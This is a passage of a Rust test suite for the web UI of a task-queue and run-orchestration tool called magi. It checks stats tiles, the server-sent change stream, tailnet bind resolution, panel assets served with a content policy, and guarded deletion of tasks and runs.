11996 assert!(
11997 APP_JS.contains(&call),
11998 "expected the {label} KPI tile built via {call}..."
11999 );
12000 assert!(
12001 APP_JS.contains(&format!("status === \"{status}\"")),
12002 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12003 compare a run against, not one invented only for the stats tile"
12004 );
12005 }
12006 assert!(
12007 APP_JS.contains("function openRunsFiltered(status)"),
12008 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12009 );
12010 assert!(
12011 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
12012 "matchesFilter must gate on the exact status a KPI tile named"
12013 );
12014 assert!(
12022 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12023 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12024 hashchange event that may never fire"
12025 );
12026 }
12027
12028 #[test]
12029 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12030 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12036 assert!(
12037 APP_JS.contains(
12038 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12039 ),
12040 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12041 guard for an incompatible tree section"
12042 );
12043 }
12044
12045 #[test]
12046 fn every_stats_queue_tile_names_a_real_queue_section() {
12047 assert!(
12053 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12054 "every queue tile built through sectionTile() must route its click through \
12055 openQueueSectionFocus"
12056 );
12057 for key in ["upnext", "running", "done", "held", "blocked"] {
12058 assert!(
12059 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12060 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12061 );
12062 }
12063 for line in [
12067 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12068 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12069 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12070 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12071 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12072 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12073 ] {
12074 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12075 }
12076 }
12077
12078 #[test]
12079 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12080 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12087 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12088 assert!(APP_JS.contains("function revealQueueSection(details)"));
12089 assert!(
12090 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12091 "renderQueue() must consume both focus channels on every pass"
12092 );
12093 assert!(
12094 APP_JS.contains(
12095 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12096 ),
12097 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12098 the recursive renderQueue() call has nothing left to reveal"
12099 );
12100 assert!(
12101 APP_JS.contains(
12102 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12103 ),
12104 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12105 );
12106 assert!(
12114 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12115 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12116 hashchange event that may never fire"
12117 );
12118 }
12119
12120 #[tokio::test]
12121 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12122 let f = Fixture::start().await;
12123
12124 let mut socket = tokio::net::TcpStream::connect(f.addr)
12125 .await
12126 .expect("connect");
12127 socket
12128 .write_all(
12129 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12130 )
12131 .await
12132 .expect("write request");
12133
12134 let mut seen = String::new();
12137 let mut buf = [0u8; 1024];
12138 while !seen.contains("event: change") {
12139 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12140 .await
12141 .expect("the stream must speak within five seconds")
12142 .expect("read");
12143 assert!(read > 0, "the server closed the change stream: {seen}");
12144 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12145 }
12146
12147 assert!(
12148 seen.to_lowercase()
12149 .contains("content-type: text/event-stream"),
12150 "the browser only reconnects automatically for a real SSE stream: {seen}"
12151 );
12152 let data = seen
12153 .lines()
12154 .find_map(|l| l.strip_prefix("data:"))
12155 .expect("a data line");
12156 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12157 assert!(
12158 payload["queue_rev"].is_u64()
12159 && payload["runs_rev"].is_u64()
12160 && payload["questions_rev"].is_u64()
12161 && payload["talks_rev"].is_u64()
12162 && payload["notifications_rev"].is_u64()
12163 && payload["loop_rev"].is_u64(),
12164 "the client needs one revision per store to know what to refetch, \
12165 and `talks_rev` is the only notification a standing talk gets - a \
12166 phone whose radio slept through a turn learns about it here, as \
12167 does one whose operator started the loop from another device: \
12168 {payload}"
12169 );
12170
12171 let health = f.get("/api/health").await.json();
12178 for key in [
12179 "queue_rev",
12180 "runs_rev",
12181 "questions_rev",
12182 "talks_rev",
12183 "notifications_rev",
12184 "loop_rev",
12185 ] {
12186 assert!(
12187 health[key].is_u64(),
12188 "health is the change stream's fallback and is missing `{key}`: {health}"
12189 );
12190 }
12191 }
12192
12193 #[tokio::test]
12194 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12195 let f = Fixture::start().await;
12196 let before = f.get("/api/health").await.json()["talks_rev"]
12197 .as_u64()
12198 .expect("talks_rev");
12199
12200 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12201 std::thread::sleep(Duration::from_millis(10));
12202 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12203 on_disk.turns.push(crate::talk::Turn {
12204 who: crate::talk::Who::Operator,
12205 body: "a new turn".to_owned(),
12206 at: Timestamp::now(),
12207 attachments: Vec::new(),
12208 usage: None,
12209 });
12210 f.talks().put(&mut on_disk).expect("record a turn");
12211
12212 let after = f.get("/api/health").await.json()["talks_rev"]
12213 .as_u64()
12214 .expect("talks_rev");
12215 assert_ne!(
12216 before, after,
12217 "a phone must be able to notice a talk's reply without polling every store"
12218 );
12219 }
12220
12221 #[test]
12222 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12223 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12227 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12228 }
12229 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12230 assert!("everywhere".parse::<Bind>().is_err());
12231 }
12232
12233 #[test]
12234 fn an_explicit_bind_address_is_taken_verbatim() {
12235 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12236
12237 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12238
12239 assert_eq!(addr, asked);
12240 assert!(
12241 warning.is_none(),
12242 "an operator who named an address gets no lecture"
12243 );
12244 }
12245
12246 #[test]
12247 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12248 let (addr, warning) = resolve_bind(&Bind::Auto);
12249
12250 match addr {
12257 IpAddr::V4(ip) if is_tailnet(&ip) => {
12258 assert!(warning.is_none(), "a tailnet address needs no warning");
12259 }
12260 other => {
12261 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12262 let warning = warning.expect("a fallback has to explain itself");
12263 assert!(
12264 warning.contains("127.0.0.1") && warning.contains("local-only"),
12265 "the warning says what happened and what it costs: {warning}"
12266 );
12267 }
12268 }
12269 }
12270
12271 #[test]
12272 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12273 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12277 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12278 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12279 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12280 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12281 }
12282
12283 #[test]
12284 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12285 let ids = vec![
12286 "20260902-140501-aaaa".to_owned(),
12287 "20260902-140502-aabb".to_owned(),
12288 ];
12289
12290 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12291 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12292 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12293
12294 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12295 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12296 assert_eq!(short, "20260902-140502-aabb");
12297 }
12298 #[tokio::test]
12299 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12300 let fx = Fixture::start().await;
12306 let id = panel(
12307 &fx,
12308 "<img src=\"shot.png\">",
12309 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12310 );
12311
12312 let doc = fx
12314 .get(&format!("/api/questions/{id}/panel/index.html"))
12315 .await;
12316 assert_eq!(doc.status, 200, "{}", doc.body);
12317 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12318
12319 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12320 assert_eq!(sibling.status, 200, "{}", sibling.body);
12321 assert_eq!(sibling.header("content-type"), Some("image/png"));
12322 assert_eq!(
12323 sibling.header("content-security-policy"),
12324 Some(PANEL_CSP),
12325 "the sibling route must carry the same policy as the asset route"
12326 );
12327
12328 assert_eq!(
12331 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12332 200
12333 );
12334 }
12335
12336 #[test]
12337 fn delta_stamps_cover_add_update_remove_and_noop() {
12338 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12339 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12340 let delta = diff_stamps(&before, &after, 42);
12341 assert_eq!(delta.base, 42);
12342 assert_eq!(delta.changed, ["b", "c"]);
12343 assert_eq!(delta.removed, ["a"]);
12344 let same = diff_stamps(&after, &after, 43);
12345 assert!(same.changed.is_empty() && same.removed.is_empty());
12346 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12347 let nanos: Stamps = [("b".into(), (2, 20))].into();
12348 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12349 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12350 assert_eq!(stamps_revision(&Stamps::new()), 0);
12351 }
12352
12353 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12354 std::fs::create_dir_all(home.join("runs")).unwrap();
12355 Arc::new(Ui::new(
12356 Queue::at(home.join("queue")),
12357 Questions::at(home.join("questions")),
12358 Talks::at(home.join("talks")),
12359 home.join("runs"),
12360 home.to_owned(),
12361 PathBuf::from("/repo/magi"),
12362 ))
12363 }
12364
12365 #[tokio::test]
12366 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12367 let home = TempDir::new().unwrap();
12368 let ui = delta_test_ui(home.path());
12369 let mut task = Task::new(
12370 "stream task".into(),
12371 "text".into(),
12372 PathBuf::from("/repo"),
12373 Source::Human,
12374 );
12375 ui.queue.put(&mut task).unwrap();
12376 let response = events(State(ui.clone())).await.into_response();
12377 let mut stream = response.into_body().into_data_stream();
12378 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12379 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12380 .await
12381 .unwrap()
12382 .unwrap()
12383 .unwrap();
12384 let text = String::from_utf8(chunk.to_vec()).unwrap();
12385 let data = text
12386 .lines()
12387 .find_map(|line| {
12388 line.strip_prefix("data: ")
12389 .or_else(|| line.strip_prefix("data:"))
12390 })
12391 .unwrap();
12392 serde_json::from_str(data).unwrap()
12393 }
12394 let initial = change(&mut stream).await;
12395 assert!(initial.get("queue_delta").is_none());
12396 task.instruction.push_str(" changed");
12397 ui.queue.put(&mut task).unwrap();
12398 let updated = change(&mut stream).await;
12399 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12400 assert_eq!(
12401 updated["queue_delta"]["changed"],
12402 serde_json::json!([task.id])
12403 );
12404 assert_eq!(
12405 updated["queue_rev"].as_u64(),
12406 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12407 );
12408 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12409 let removed = change(&mut stream).await;
12410 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12411 assert_eq!(
12412 removed["queue_delta"]["removed"],
12413 serde_json::json!([task.id])
12414 );
12415 }
12416
12417 #[tokio::test]
12418 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12419 let home = TempDir::new().unwrap();
12420 let ui = delta_test_ui(home.path());
12421 let queue = ui.queue.clone();
12422 let query = |ids: Option<&str>| {
12423 Query(ListQuery {
12424 limit: Some(2),
12425 ids: ids.map(str::to_owned),
12426 })
12427 };
12428 let mut root = Task::new(
12429 "root".into(),
12430 "instruction".into(),
12431 PathBuf::from("/repo"),
12432 Source::Human,
12433 );
12434 queue.put(&mut root).unwrap();
12435 let mut blocked = Task::new(
12436 "blocked".into(),
12437 "instruction".into(),
12438 PathBuf::from("/repo"),
12439 Source::Human,
12440 );
12441 blocked.block(vec![root.id.clone()], None);
12442 queue.put(&mut blocked).unwrap();
12443 let whole =
12444 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12445 .unwrap();
12446 let subset = serde_json::to_value(
12447 queue_list(State(ui.clone()), query(Some(&root.id)))
12448 .await
12449 .unwrap()
12450 .0,
12451 )
12452 .unwrap();
12453 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12454 let blockers = serde_json::to_value(
12455 queue_list(State(ui.clone()), query(Some("")))
12456 .await
12457 .unwrap()
12458 .0,
12459 )
12460 .unwrap();
12461 assert_eq!(blockers.as_array().unwrap().len(), 1);
12462 assert_eq!(blockers[0]["id"], blocked.id);
12463 assert_eq!(
12464 blockers[0]["waits_on"],
12465 whole
12466 .as_array()
12467 .unwrap()
12468 .iter()
12469 .find(|row| row["id"] == blocked.id)
12470 .unwrap()["waits_on"]
12471 );
12472
12473 for id in [
12474 "20260902-140501-aaaa",
12475 "20260902-140502-bbbb",
12476 "20260902-140503-cccc",
12477 ] {
12478 write_run(&ui.runs, id, RunStatus::Merged);
12479 }
12480 let old = serde_json::to_value(
12481 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12482 .await
12483 .unwrap()
12484 .0,
12485 )
12486 .unwrap();
12487 assert!(
12488 old.as_array().unwrap().is_empty(),
12489 "older updates must not enter the window"
12490 );
12491 let newest = serde_json::to_value(
12492 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12493 .await
12494 .unwrap()
12495 .0,
12496 )
12497 .unwrap();
12498 assert_eq!(newest.as_array().unwrap().len(), 1);
12499 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12500
12501 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12502 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12503 let talks = serde_json::to_value(
12504 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12505 .await
12506 .unwrap()
12507 .0,
12508 )
12509 .unwrap();
12510 assert_eq!(talks.as_array().unwrap().len(), 1);
12511 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12512 assert_eq!(
12513 serde_json::to_value(
12514 talks_list(State(ui.clone()), query(Some("")))
12515 .await
12516 .unwrap()
12517 .0
12518 )
12519 .unwrap(),
12520 serde_json::json!([])
12521 );
12522 }
12523
12524 #[tokio::test]
12525 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12526 async fn delta_payload_benchmark() {
12527 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12528 let ui = delta_test_ui(&home);
12529 let query = |ids: Option<String>| {
12530 Query(ListQuery {
12531 limit: Some(50),
12532 ids,
12533 })
12534 };
12535 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12536 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12537 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12538 let queue_id = queue
12539 .iter()
12540 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12541 .unwrap_or(&queue[0])
12542 .task
12543 .id
12544 .clone();
12545 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12546 .await
12547 .unwrap()
12548 .0;
12549 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12550 .await
12551 .unwrap()
12552 .0;
12553 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12554 .await
12555 .unwrap()
12556 .0;
12557 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12558 eprintln!(
12559 "DELTA_PAYLOAD {}",
12560 serde_json::json!({
12561 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12562 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12563 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12564 "counts": [queue.len(), runs.len(), talks.len()],
12565 "blocked": queue_delta.len() - 1,
12566 })
12567 );
12568 }
12569
12570 #[test]
12571 fn runs_revision_moves_when_deleting_an_older_run() {
12572 let temp = TempDir::new().expect("tempdir");
12573 let runs = temp.path().join("runs");
12574 std::fs::create_dir_all(&runs).expect("create runs dir");
12575
12576 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12577
12578 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12579 std::thread::sleep(Duration::from_millis(10));
12580 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12581
12582 let rev_before = runs_revision(&runs);
12583 assert!(rev_before > 0);
12584
12585 let old_dir = runs.join("20260901-100000-old1");
12586 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12587
12588 let rev_after = runs_revision(&runs);
12589 assert_ne!(
12590 rev_before, rev_after,
12591 "deleting an older run must change the revision so other clients see the deletion"
12592 );
12593 }
12594
12595 fn write_state(runs: &FsPath, state: &RunState) {
12600 let dir = runs.join(&state.id);
12601 std::fs::create_dir_all(&dir).expect("run dir");
12602 std::fs::write(
12603 dir.join("run.json"),
12604 serde_json::to_string_pretty(state).expect("serialize run"),
12605 )
12606 .expect("write run.json");
12607 }
12608
12609 #[test]
12614 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12615 let temp = TempDir::new().expect("tempdir");
12616 let runs = temp.path().join("runs");
12617 std::fs::create_dir_all(&runs).expect("create runs dir");
12618 let mut state = RunState::new(
12619 PathBuf::from("/repo/magi"),
12620 "main".to_owned(),
12621 "0123456789abcdef".to_owned(),
12622 "task".to_owned(),
12623 Config::default(),
12624 );
12625 state.id = "20260902-100000-c0de".to_owned();
12626 write_state(&runs, &state);
12627
12628 let rev_idle = runs_revision(&runs);
12629 std::thread::sleep(Duration::from_millis(10));
12630 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12631 write_state(&runs, &state);
12632 let rev_started = runs_revision(&runs);
12633 assert_ne!(
12634 rev_idle, rev_started,
12635 "a seat starting must move the revision"
12636 );
12637
12638 std::thread::sleep(Duration::from_millis(10));
12639 state.seat_finished("judge-1");
12640 write_state(&runs, &state);
12641 let rev_finished = runs_revision(&runs);
12642 assert_ne!(
12643 rev_started, rev_finished,
12644 "and clearing it again must move the revision a second time"
12645 );
12646 }
12647
12648 #[tokio::test]
12649 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12650 let fx = Fixture::start().await;
12655 let q = fx.queue();
12656
12657 let mut t = Task::new(
12658 "Task".to_owned(),
12659 "Instruction".to_owned(),
12660 PathBuf::from("/repo"),
12661 Source::Human,
12662 );
12663 t.block(
12664 vec!["20260101-000000-dead".to_owned()],
12665 Some("waiting on Task 1".to_owned()),
12666 );
12667 t.answers.push(crate::queue::AnsweredQuestion {
12668 question: "Which backend?".to_owned(),
12669 answer: "SQLite".to_owned(),
12670 });
12671 q.put(&mut t).expect("put t");
12672
12673 let res = fx.get("/api/queue").await;
12674 assert_eq!(res.status, 200);
12675 let list = res.json();
12676 let view = list
12677 .as_array()
12678 .expect("array")
12679 .iter()
12680 .find(|v| v["id"] == t.id)
12681 .expect("task in list");
12682 assert_eq!(view["status_str"], "blocked");
12683 assert_eq!(
12684 view["blocked_by"],
12685 serde_json::json!(["20260101-000000-dead"])
12686 );
12687 assert_eq!(view["block_reason"], "waiting on Task 1");
12688 assert_eq!(view["answers"][0]["question"], "Which backend?");
12689 assert_eq!(view["answers"][0]["answer"], "SQLite");
12690
12691 let res = fx
12695 .post(&format!("/api/queue/{}/hold", t.short()), None)
12696 .await;
12697 assert_eq!(res.status, 200);
12698 let held = res.json();
12699 assert_eq!(held["status_str"], "held");
12700 assert_eq!(held["blocked_by"], serde_json::json!([]));
12701 assert!(held["block_reason"].is_null());
12702 assert_eq!(held["answers"][0]["answer"], "SQLite");
12703 }
12704
12705 #[tokio::test]
12706 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12707 let fx = Fixture::start().await;
12708 let q = fx.queue();
12709 let mk = |title: &str| {
12710 Task::new(
12711 title.to_owned(),
12712 "Instruction".to_owned(),
12713 PathBuf::from("/repo"),
12714 Source::Human,
12715 )
12716 };
12717 let mut root = mk("root");
12718 root.hold_manual(Some("waiting".to_owned()));
12719 q.put(&mut root).unwrap();
12720 let mut mid = mk("mid");
12721 mid.block(vec![root.id.clone()], None);
12722 q.put(&mut mid).unwrap();
12723 let mut leaf = mk("leaf");
12724 leaf.block(vec![mid.id.clone()], None);
12725 q.put(&mut leaf).unwrap();
12726
12727 let list = fx.get("/api/queue").await.json();
12728 let find = |id: &str| {
12729 list.as_array()
12730 .unwrap()
12731 .iter()
12732 .find(|v| v["id"] == id)
12733 .unwrap()
12734 .clone()
12735 };
12736 let leaf_view = find(&leaf.id);
12737 assert_eq!(
12738 leaf_view["waits_on"],
12739 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12740 );
12741 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12742 assert_eq!(
12743 find(&mid.id)["waits_on"],
12744 serde_json::json!([format!("{} (held)", root.short())])
12745 );
12746 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12747 }
12748
12749 #[tokio::test]
12750 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12751 let fx = Fixture::start().await;
12752 let q = fx.queue();
12753
12754 let mut t1 = Task::new(
12756 "Task 1".to_owned(),
12757 "Instruction 1".to_owned(),
12758 PathBuf::from("/repo"),
12759 Source::Human,
12760 );
12761 let run_id = "20260901-000000-r111";
12762 t1.runs.push(run_id.to_owned());
12763 write_run(&fx.runs(), run_id, RunStatus::Merged);
12764 q.put(&mut t1).expect("put t1");
12765
12766 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12768 assert_eq!(res.status, 204);
12769 assert!(res.body.is_empty(), "204 No Content has no body");
12770 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12771 assert!(
12772 fx.runs().join(run_id).exists(),
12773 "run directory must not be deleted when its task is deleted"
12774 );
12775
12776 let mut t2 = Task::new(
12778 "Task 2".to_owned(),
12779 "Instruction 2".to_owned(),
12780 PathBuf::from("/repo"),
12781 Source::Human,
12782 );
12783 t2.status = TaskStatus::Running;
12784 q.put(&mut t2).expect("put t2");
12785 let mut beat = crate::daemon::Status::new();
12786 beat.current = vec![crate::daemon::Current {
12787 task: t2.id.clone(),
12788 run: "20260901-000000-r222".to_owned(),
12789 }];
12790 beat.updated_at = jiff::Timestamp::now();
12791 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12792 .expect("publish a heartbeat");
12793 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12794 assert_eq!(res.status, 409);
12795 assert!(
12796 res.json()["error"]
12797 .as_str()
12798 .unwrap()
12799 .contains("live daemon")
12800 );
12801 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12802
12803 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12809 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12810 .expect("leave a stale heartbeat");
12811 let mut t3 = Task::new(
12812 "Task 3".to_owned(),
12813 "Instruction 3".to_owned(),
12814 PathBuf::from("/repo"),
12815 Source::Human,
12816 );
12817 t3.status = TaskStatus::Running;
12818 q.put(&mut t3).expect("put t3");
12819 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12820 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12821 assert_eq!(res.status, 204);
12822 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12823 assert!(
12824 q.claim(&t3.id).is_ok(),
12825 "the stale lock went with it, so the id is claimable again"
12826 );
12827
12828 let res = fx.delete("/api/queue/nonexistent").await;
12830 assert_eq!(res.status, 404);
12831 }
12832
12833 #[tokio::test]
12834 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12835 let fx = Fixture::start().await;
12836 let runs = fx.runs();
12837
12838 let run_id = "20260901-000000-fold";
12840 let mut state = RunState::new(
12841 PathBuf::from("/repo"),
12842 "main".to_owned(),
12843 "abc".to_owned(),
12844 "instruction".to_owned(),
12845 Config::default(),
12846 );
12847 state.id = run_id.to_owned();
12848 state.status = RunStatus::Merged;
12849 state.candidates.push(crate::run::Candidate {
12850 index: 0,
12851 label: 'A',
12852 agent: "a".to_owned(),
12853 branch: "b".to_owned(),
12854 worktree: PathBuf::from("/w"),
12855 summary: String::new(),
12856 stat: String::new(),
12857 files: 1,
12858 commits: 1,
12859 empty: false,
12860 failed: None,
12861 verified_noop: None,
12862 duration_ms: 0,
12863 folded: true,
12864 });
12865 let dir = runs.join(run_id);
12866 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12867 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12868 .expect("write artifact");
12869 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12870 .expect("write run.json");
12871
12872 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12874 assert_eq!(res.status, 204);
12875 assert!(res.body.is_empty(), "204 has no body");
12876 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12877
12878 let run_running = "20260901-000000-rung";
12883 write_run(&runs, run_running, RunStatus::Prep);
12884 let mut beat = crate::daemon::Status::new();
12885 beat.current = vec![crate::daemon::Current {
12886 task: "20260901-000000-task".to_owned(),
12887 run: run_running.to_owned(),
12888 }];
12889 beat.updated_at = jiff::Timestamp::now();
12890 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12891 .expect("publish a heartbeat");
12892 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12893 assert_eq!(res.status, 409);
12894 assert!(
12895 res.json()["error"]
12896 .as_str()
12897 .unwrap()
12898 .contains("live daemon"),
12899 "the refusal must say who is holding it"
12900 );
12901 assert!(
12902 runs.join(run_running).exists(),
12903 "a run in flight keeps its directory"
12904 );
12905
12906 let run_unfolded = "20260901-000000-unfd";
12908 let mut state2 = RunState::new(
12909 PathBuf::from("/repo"),
12910 "main".to_owned(),
12911 "abc".to_owned(),
12912 "instruction".to_owned(),
12913 Config::default(),
12914 );
12915 state2.id = run_unfolded.to_owned();
12916 state2.status = RunStatus::Ready;
12917 state2.candidates.push(crate::run::Candidate {
12918 index: 0,
12919 label: 'A',
12920 agent: "a".to_owned(),
12921 branch: "b".to_owned(),
12922 worktree: PathBuf::from("/w"),
12923 summary: String::new(),
12924 stat: String::new(),
12925 files: 1,
12926 commits: 1,
12927 empty: false,
12928 failed: None,
12929 verified_noop: None,
12930 duration_ms: 0,
12931 folded: false,
12932 });
12933 let dir2 = runs.join(run_unfolded);
12934 std::fs::create_dir_all(&dir2).expect("create dir2");
12935 std::fs::write(
12936 dir2.join("run.json"),
12937 serde_json::to_string(&state2).unwrap(),
12938 )
12939 .expect("write run.json");
12940
12941 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12942 assert_eq!(res.status, 409);
12943 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12944 assert!(dir2.exists(), "unfolded run directory is kept");
12945
12946 let res = fx.delete("/api/runs/nonexistent").await;
12948 assert_eq!(res.status, 404);
12949 }
12950
12951 #[test]
12960 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12961 let start = APP_JS
12962 .find("function renderStats() {")
12963 .expect("renderStats");
12964 let end = start
12965 + APP_JS[start..]
12966 .find("function statsTile(")
12967 .expect("the next top-level function");
12968 let body = &APP_JS[start..end];
12969
12970 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12971 let gate_end = gate_start
12972 + body[gate_start..]
12973 .find("}\n renderStatsQueue")
12974 .expect("the gate's own closing brace, right before the unconditional call");
12975 let gated = &body[gate_start..gate_end];
12976
12977 assert_eq!(
12978 body.matches("renderStatsQueue(").count(),
12979 1,
12980 "renderStats must call renderStatsQueue exactly once: {body}"
12981 );
12982 assert!(
12983 !gated.contains("renderStatsQueue"),
12984 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
